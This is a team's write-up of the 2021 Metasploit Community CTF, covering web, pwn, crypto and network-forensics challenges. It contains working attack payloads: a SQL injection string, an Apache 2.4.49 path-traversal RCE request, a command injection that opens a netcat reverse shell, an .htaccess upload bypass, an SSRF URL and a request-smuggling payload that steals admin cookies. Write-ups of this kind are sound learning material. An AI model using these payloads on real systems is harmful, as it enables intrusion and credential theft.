Metasploit Community CTF
Hosted by Rapid7 from 4 Dec to 7 Dec 2021

Results

We placed 7th - managed to solve all but one challenge!
The organizers wrote a nice summary of the CTF here.

Writeups

Since this year's challenges were sorted by difficulty (the higher the port number, the harder the challenge), I'll also sort my writeups by port number.
I only included writeups for challenges that I solved - the rest were solved by my teammates!
Card
Category
Port
​9 of Diamonds​
Web
8080
​4 of Diamonds​
Web
10010
​5 of Diamonds​
Web
11111
​10 of Clubs​
Web
12380
​5 of Clubs​
Pwn
15000
​4 of Clubs​
Web
15010
Network Forensics
20000, 20001
​Ace of Hearts​
Web
20011
​9 of Spades​
Web
20055
​8 of Clubs​
Crypto
20123
​3 of Hearts​
Web
33337
​Ace of Diamonds​
Network Forensics
35000

Port 8080 [Web]

This was a simple cookie manipulation challenge. Cookies are set at every stage of authentication, and the following cookies grant us access to /admin.
1
Cookie: username=admin; visited-main-page=true; made-an-account=true; authenticated-user=true; admin=true
Copied!

Port 10010 [Web]

When we log into the application, we can see the following data in the page source. There seems to be a role attribute that we need to change, in order to escalate our privileges.
1
<script>
2
var current_account = {
3
"id":3,
4
"username":"username",
5
"password":"password",
6
"role":"user",
7
"created_at":"2021-12-04T05:12:11.986Z",
8
"updated_at":"2021-12-04T05:12:11.986Z"};
9
</script>
Copied!
Taking a closer look at the registration fields, we see that we are submitting an account object with the username and password attributes.
1
<div>
2
<label for="account_username">Username</label>
3
<input type="text" name="account[username]" id="account_username" />
4
</div>
5
​
6
<div>
7
<label for="account_password">Password</label>
8
<input type="password" name="account[password]" id="account_password" />
9
</div>
10
​
11
<div>
12
<input type="submit" name="commit" value="Register" class="btn btn-primary" data-disable-with="Register" />
13
</div>
Copied!
Submitting with account[role] = admin changes our role, granting us access to /admin.

Port 11111 [Web]

This was a simple SQL injection in the login. The payload username=admin&password=' or '1 grants us access.

Port 12380 [Web]

Our scan shows that this is a vulnerable version of Apache.
1
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-04 05:02 UTC
2
Nmap scan report for 172.17.17.69
3
Host is up (0.00049s latency).
4
​
5
PORT STATE SERVICE VERSION
6
12380/tcp open http Apache httpd 2.4.49 ((Debian))
7
|_http-title: Site doesn't have a title (text/html).
8
|_http-server-header: Apache/2.4.49 (Debian)
Copied!
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
Exploit Database
We can exploit the RCE vulnerability to obtain the contents of the flag.
1
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
2
Host: localhost:8000
3
Content-Type: text/plain
4
Content-Length: 71
5
​
6
echo Content-Type: text/plain; echo; cat /secret/safe/flag.png | base64
Copied!

Port 15000 [Pwn]

This was a TCP service that we could interact with via Netcat, and appears to be managing text files.
The "Create" option allows us to create a text file in the format NAME_SURNAME.txt. Validation is performed so that both fields are alphanumeric characters only.
The "Delete" option allows us to delete a file, similarly by entering the name and surname. However, after some fuzzing, we found that the surname wasn't properly validated.
1
Input: 4
2
​
3
Deleting a student with the following details:
4
Student name:
5
Student surname: hihi.txt'
6
Invalid characters entered.
7
​
8
Found student file: _hihi.txt'.txt
9
Deleting...
10
Something went wrong! Contact your local administrator.
Copied!
While an error message is shown, the deletion operation seems to have gone through.
After some testing, we found that there was an additional validation for the filename before going ahead with the deletion, but this appears to be insufficient as well, only matching the start of the filename.
For instance, 1_22.txt matches the created file 1_2.txt.
I then created the three files below and tested a wildcard in the filename.
1
5. abc abc
2
6. abc abcabc
3
7. abc abcdef
4
​
5
...
6
​
7
Found student file: abc_abc*.txt
8
Deleting...
9
Completed.
Copied!
Surprisingly, all three files were deleted! It occurred to me that rm abc_abc*.txt would have given this result, so we could hypothesise that a command injection could be performed.
1
Input: 4
2
​
3
Deleting a student with the following details:
4
Student name: name
5
Student surname: surname; nc 172.17.17.68 80 -e /bin/sh;
6
Invalid characters entered.
7
​
8
Found student file: name_surname; nc 172.17.17.68 80 -e /bin/sh;.txt
9
Deleting...
Copied!
Indeed, we received a shell! From here we can obtain the MD5 of the flag.
1
md5sum /hidden_storage/5_of_clubs.png
2
0c3c3d0e090f792ba5cedc8a2fe72b36 /hidden_storage/5_of_clubs.png
Copied!

Port 15010 [Web]

After registration, we get redirected to /users/<username>/files, where we can upload files.
By testing with two accounts, we will also find that username enumeration is possible at /users/<username>, since a valid username results in a 403 redirect to our own account, while an invalid username results in a 404 Not Found error.
Performing a username enumeration (using the dirb wordlist) yielded the following valid usernames:
  • admin
  • root
  • builder
  • employee
  • staff
We will also find that while validation is performed on the /users/<username> page, the application does not check whether we are the owner of the file when we request a file at /users/<username>/files/<filename>. This constitutes an IDOR vulnerability.
I then scanned each username for potential files, and eventually found /users/employee/files/fileadmin, which was the flag.

Port 20000, 20001 [Network Forensics]

This was a game called Clicktracer. The client connects to the game server at port 20001, and winning the game gives us flags!

Easy Mode

When playing in easy mode, the messages are logged to the console.
This was interesting, so I decided to spin up Wireshark to analyse the traffic.
The client-server communication appeared to be simple JSON messages. A client heartbeat is sent periodically to prevent the game from timing out, and the coordinates clicked by the user are sent as well. The server sends the client the coordinates of each target that is created.
We could beat the easy mode by implementing a custom client that "clicks" on each target that is received.
1
from pwn import *
2
import json
3
​
4
conn = remote('localhost', 20001)
5
conn.sendline(json.dumps({"StartGame":{"game_mode":"Easy"}}))
6
conn.sendline(json.dumps({"ClientHeartBeat": {}}))
7
​
8
while True:
9
received = conn.recvline().decode()
10
received = json.loads(received)
11
if 'TargetCreated' in received:
12
conn.sendline(json.dumps(
13
{"ClientClick": {"x": received['TargetCreated']['x'], "y": received['TargetCreated']['y']}}
14
))
15
conn.sendline(json.dumps({"ClientHeartBeat": {}}))
16
​
17
print(received)
Copied!
When we win the game, we get a URL to download the flag.

Hard Mode

This was more complex, but we could still pick up some patterns if we look hard enough.
Some kind of TLV protocol is used, but the general idea remains the same. By capturing the traffic a few times, we can infer the meaning of each field!
The client starts the game with the following bytes. This is observed as the first packet in the capture. Note that the 4th byte is the "command" byte, which indicates which type of message this is. In this message, the command byte is 0x20.
1
00 00 00 20 00 00 00 00 00 00 00 0c 00 02 00 01 ... .... ........
2
00 00 00 03 00 00 00 0c 00 02 4e 84 00 00 00 03 ........ ..N.....
3
00 00 00 14 00 00 00 00 00 00 00 0c 00 02 00 01 ........ ........
4
00 00 00 01
Copied!
A client heartbeat is periodically sent (command 0x14).
1
00 00 00 14 00 00 00 00 00 00 00 0c 00 02 00 01 ........ ........
2
00 00 00 01
Copied!
We could also observe that whenever we make a click, the following message is sent (command 0x2c). The only parts of this message that vary are the 4 bytes indicated by [ X ] and [ Y ] below - these are the coordinates that we clicked.
1
00 00 00 2c 00 00 00 00 00 00 00 0c 00 02 00 01 ...,.... ........
2
00 00 00 07 00 00 00 0c 00 02 4e e8 00 00 [ X ] ........ ..N....j
3
00 00 00 0c 00 02 4e e9 00 00 [ Y ] ......N. ....
Copied!
Similarly, the server acknowledges our clicks (with either a target hit or target missed message).
1
00 00 00 2c 00 00 00 00 00 00 00 0c 00 02 00 01 ...,.... ........
2
00 00 00 0b 00 00 00 0c 00 02 50 14 00 00 [ X ] ........ ..P.....
3
00 00 00 0c 00 02 50 15 00 00 [ Y ]
Copied!
The server sends the next coordinates (command 0x38).
1
00 00 00 38 00 00 00 00 00 00 00 0c 00 02 00 01 ...8.... ........
2
00 00 00 09 00 00 00 0c 00 02 4f 4c 00 00 00 02 ........ ..OL....
3
00 00 00 0c 00 02 4f 4d 00 00 [ X ] 00 00 00 0c ......OM ...Y....
4
00 02 4f 4e 00 00 [ Y ]
Copied!
We could implement a similar client that solves the hard mode.
1
from pwn import *
2
from textwrap import wrap
3
​
4
conn = remote("localhost", 20001)
5
​
6
START_GAME = bytes.fromhex(''.join('00 00 00 20 00 00 00 00 00 00 00 0c 00 02 00 01 00 00 00 03 00 00 00 0c 00 02 4e 84 00 00 00 03 00 00 00 14 00 00 00 00 00 00 00 0c 00 02 00 01 00 00 00 01'.split()))
7
HEARTBEAT = bytes.fromhex(''.join('00 00 00 14 00 00 00 00 00 00 00 0c 00 02 00 01 00 00 00 01'.split()))
8
​
9
conn.send(START_GAME)
10
conn.send(HEARTBEAT)
11
​
12
while True:
13
received = conn.recv()
14
print(received)
15
16
received = wrap(received.hex(), 2)
17
print(received)
18
19
if received[3] == '38':
20
x = received[42:44]
21
y = received[-2:]
22
23
print(x, y)
24
conn.send(bytes.fromhex(''.join(f'00 00 00 2c 00 00 00 00 00 00 00 0c 00 02 00 01 00 00 00 07 00 00 00 0c 00 02 4e e8 00 00 {x[0]} {x[1]} 00 00 00 0c 00 02 4e e9 00 00{y[0]} {y[1]}'.split())))
Copied!

Port 20011 [Web]

This is an SSRF in the galleryUrl parameter. By requesting the /admin internally, we gain access to the admin console: /gallery?galleryUrl=http://localhost:20011/admin

Port 20055 [Web]

This wa PHP file upload challenge. We are provided with the following source code.
1
<?php
2
$storage_dir = "file_uploads/";
3
$full_storage_path = $storage_dir . basename($_FILES["fileName"]["name"]);
4
$file_ext = pathinfo($full_storage_path, PATHINFO_EXTENSION);
5
$file_ext = strtolower($file_ext);
6
$blocked_ext = ["php", "php2", "php3", "php4", "php5", "php6", "php7", "php8", "phps", "pht", "phtm", "phar", "phtml", "pgif", "shtml", "html", "inc", "cgi", "asp", "aspx", "config", "pl", "py", "rs", "rb", "vbhtml", "vbtm", "vb", "phpt", "phtml"];
7
echo($file_ext);
8
if (in_array($file_ext, $blocked_ext, true) === true){
9
echo("<html><h1>Blocked file extension detected! File upload blocked!</h1></html>");
10
exit(1);
11
}
12
13
// Check file size
14
if ($_FILES["fileName"]["size"] > 500000) {
15
echo("<html><p>Sorry, your file is too large.</p></html>");
16
exit(2);
17
}
18
19
// Move the uploaded file
20
if (move_uploaded_file($_FILES["fileName"]["tmp_name"], $full_storage_path) === true){
21
echo("<html><p>File has been uploaded successfully and is now available <a href='/$full_storage_path'>here</a>! But can you figure out how to execute it?</html>");
22
}
23
else{
24
echo("<html><p>File was not successfully uploaded!</p></html>");
25
}
26
?>
Copied!
While most common PHP file extensions are blocked, .htaccess was not!
We could upload a .htaccess file to tell Apache to interpret some arbitrary file extension as a PHP file (e.g. .php16).
1
Content-Disposition: form-data; name="fileName"; filename=".htaccess"
2
Content-Type: text/html
3
​
4
AddHandler application/x-httpd-php .php16 # Say all file with extension .php16 will execute php
Copied!
Then, uploading any file with the .php16 extension results in RCE, and we can download the flag..
1
Content-Disposition: form-data; name="fileName"; filename="test.php16"
2
Content-Type: text/html
3
​
4
<?php
5
$file = '/flag.png';
6
​
7
if (file_exists($file)) {
8
header('Content-Description: File Transfer');
9
header('Content-Type: application/octet-stream');
10
header('Content-Disposition: attachment; filename="'.basename($file).'"');
11
header('Expires: 0');
12
header('Cache-Control: must-revalidate');
13
header('Pragma: public');
14
header('Content-Length: ' . filesize($file));
15
readfile($file);
16
exit;
17
}
18
?>
Copied!

Port 20123 [Crypto]

This was an SSH port, which we could access with root:root. In the /challenge directory, there was an encrypted flag and the Python program used to encrypt it.
1
import argparse
2
import random
3
import base64
4
from cryptography.fernet import Fernet
5
from cryptography.hazmat.primitives import hashes
6
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
7
DEBUG = False
8
UNKNOWN_ERROR = 1001
9
​
10
​
11
def get_salt(seed=1337): # Need a seed so the salt stays the same
12
try:
13
generator = random.Random(seed)
14
if DEBUG:
15
print(generator.getstate())
16
return generator.randbytes(32)
17
except:
18
return UNKNOWN_ERROR
19
​
20
​
21
def get_token():
22
try:
23
generator = random.SystemRandom()
24
if DEBUG:
25
print(generator.getstate())
26
return generator.randbytes(32)
27
except:
28
return UNKNOWN_ERROR
29
​
30
​
31
def encrypt_flag(file):
32
kdf = PBKDF2HMAC(
33
algorithm=hashes.SHA256(),
34
length=32,
35
salt=get_salt(),
36
iterations=100000,
37
)
38
key = base64.urlsafe_b64encode(kdf.derive(bytes(get_token())))
39
# Fernet uses the time and an IV so it never produces the same output twice even with the same key and data
40
fernet = Fernet(key)
41
return fernet.encrypt(file)
42
​
43
​
44
if __name__ == '__main__':
45
parser = argparse.ArgumentParser(description='Encrypt a file and save the output')
46
parser.add_argument('input_file')
47
parser.add_argument('output_file')
48
​
49
parser.add_argument('--debug', action="store_true")
50
args = parser.parse_args()
51
if args.debug:
52
DEBUG = True
53
​
54
with open(args.input_file, "rb") as f:
55
encrypted_file = encrypt_flag(f.read())
56
​
57
with open(args.output_file, "wb") as f:
58
f.write(encrypted_file)
Copied!
In the history file, we could see the exact command that was used to encrypt it.
1
feef14e2d7f7:~/challenge# cat /root/.ash_history
2
python3 encrypt_flag.py 8_of_clubs.png encrypted_flag --debug
3
rm -rf 8_of_clubs.png
Copied!
The vulnerability comes from the following part of the code:
1
def get_token():
2
try:
3
generator = random.SystemRandom()
4
if DEBUG:
5
print(generator.getstate())
6
return generator.randbytes(32)
7
except:
8
return UNKNOWN_ERROR
Copied!
While random.SystemRandom() is cryptographically secure (it uses os.urandom()), the behaviour when the debug flag is passed is interesting.
Note that getstate() is called on the generator object, but the documentation clearly states that this will raise a NotImplementedError.
This script was run with --debug, resulting in getstate() being called and NotImplementedError being raised - so UNKNOWN_ERROR = 1001 is the token.
We would therefore be able to reconstruct the key and obtain the flag.
1
import argparse
2
import random
3
import base64
4
from cryptography.fernet import Fernet
5
from cryptography.hazmat.primitives import hashes
6
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
7
DEBUG = False
8
UNKNOWN_ERROR = 1001
9
​
10
​
11
def get_salt(seed=1337): # Need a seed so the salt stays the same
12
try:
13
generator = random.Random(seed)
14
if DEBUG:
15
print(generator.getstate())
16
return generator.randbytes(32)
17
except:
18
return UNKNOWN_ERROR
19
​
20
​
21
def get_token():
22
return UNKNOWN_ERROR
23
​
24
​
25
def decrypt(flag):
26
kdf = PBKDF2HMAC(
27
algorithm=hashes.SHA256(),
28
length=32,
29
salt=get_salt(),
30
iterations=100000,
31
)
32
print(get_token())
33
key = base64.urlsafe_b64encode(kdf.derive(bytes(get_token())))
34
# Fernet uses the time and an IV so it never produces the same output twice even with the same key and data
35
fernet = Fernet(key)
36
return fernet.decrypt(flag)
37
​
38
​
39
if __name__ == '__main__':
40
out = decrypt(open('encrypted_flag', 'rb').read())
41
with open('flag_out.png', 'wb') as f:
42
f.write(out)
Copied!

Port 33337 [Web]

In the Server response header, we could see that the Apache Traffic Server (ATS) 7.1.1 was used,
This is vulnerable to CVE-2018-8004, a request smuggling vulnerability, and I came across a nice writeup here. The relevant patch we are looking at is here - a lack of validation for Content-Length headers.
In the vulnerable version, even if the Transfer-Encoding header exists, the Content-Length header is used. This leads to a request smuggling vulnerability if the backend server processes the Transfer-Encoding header instead of the Content-Length header to decide where the request ends.
It was observed that whenever a request is made to /save.php, an entry is appended to a "log file", which contains the cookies and the value of the X-Access header.
Assuming that an admin visits the site, we could use a CL-TE request smuggling attack to direct the admin to /save.php.
Consider the following payload:
1
GET / HTTP/1.1
2
Host: threeofhearts.ctf.net
3
Content-Length: 30
4
Transfer-Encoding: chunked
5
​
6
0
7
​
8
GET /save.php HTTP/1.1
Copied!
The ATS server processes the Content-Length header, and thus forwards the entire payload as a single request to the Nginx backend.
However, Nginx sees the Transfer-Encoding header and decides that the first request ends early. This is a full, complete request.
1
GET / HTTP/1.1
2
Host: threeofhearts.ctf.net
3
Content-Length: 30
4
Transfer-Encoding: chunked
Copied!
This is then followed by a second request, which is not yet completed.
1
GET /save.php HTTP/1.1
Copied!
When the admin visits the site (the third request), his request is appended to the above incomplete request - the second and third request thus are processed as one single request.
1
GET /save.php HTTP/1.1
2
​
3
...
4
​
5
Cookie: <Admin Cookies>
6
X-Access: <Admin X-Access Header>
Copied!
Crucially, this request contains the admin's Cookie and X-Access headers.
In the log file, we can view the cookie:
1
Params:
2
Headers:
3
X-Access: private
4
Cookie: PHPSESSID=8m9k6s84bmdf270tbi81bpacc7
Copied!
Then, visit private.php to view the flag.
1
GET /private.php HTTP/1.1
2
Host: threeofhearts.ctf.net
3
X-Access: private
4
Cookie: PHPSESSID=8m9k6s84bmdf270tbi81bpacc7
Copied!

Port 35000 [Network Forensics]

We are provided with a PCAP file, containing some SMB traffic. There are some hints in the traffic:
What does this protocol use to align fields?
A lot of things can happen when structures are not properly aligned
But wait... is the actual value matter?
Not too much to find here... just regular backups
The content is not that useful as it looks like.
This prompted me to read up on the Microsoft documentation for SMB requests. One of the details was quite interesting, since the hint talked about alignment.
Optional padding follows the SMB_Data block of the SMB_COM_CLOSE. If present, the padding is used to align the SMB_Data.Bytes.Data block to a 16- or 32-bit boundary.
The padding byte in the SMB request exists in order to align the data that follows. But as the documentation specifies, the actual value of the padding byte doesn't matter.
Upon closer inspection, we will find that the padding in WriteX (1 byte padding) and Trans2 (2 byte padding) requests contain the exfiltrated data.
The following script parses the PCAP and extracts the relevant data.
1
from scapy.all import *
2
​
3
packets = rdpcap('capture.pcap')
4
​
5
padding_bytes = []
6
​
7
for packet in packets:
8
packet[TCP].decode_payload_as(NBTSession)
9
if 'SMBNegociate Protocol Request Header' in packet:
10
11
smb_header = packet['SMBNegociate Protocol Request Header']
12
if smb_header.Command == 0x2f and smb_header.Flags == 0x18:
13
padding = bytes(smb_header)[59]
14
padding_bytes.append(padding)
15
​
16
elif smb_header.Command == 0x32 and smb_header.Flags == 0x18:
17
padding = bytes(smb_header)[66:68]
18
padding_bytes += list(padding)
19
​
20
print(bytes(padding_bytes))
Copied!
The result is the flag URL!
Here is the URL you are looking for: /U,rhbjaaCeDseVRQzEO.YsgXXtoGKpvUEkZXaoxurhdYnIlpJiGszZwUktVWTS,DabQAhvbEDQaNL_Dhsq.pposWkG-DtQdIVXNEWd.KbtYXvCek_gJuzIrDtMHfITFL/flag.png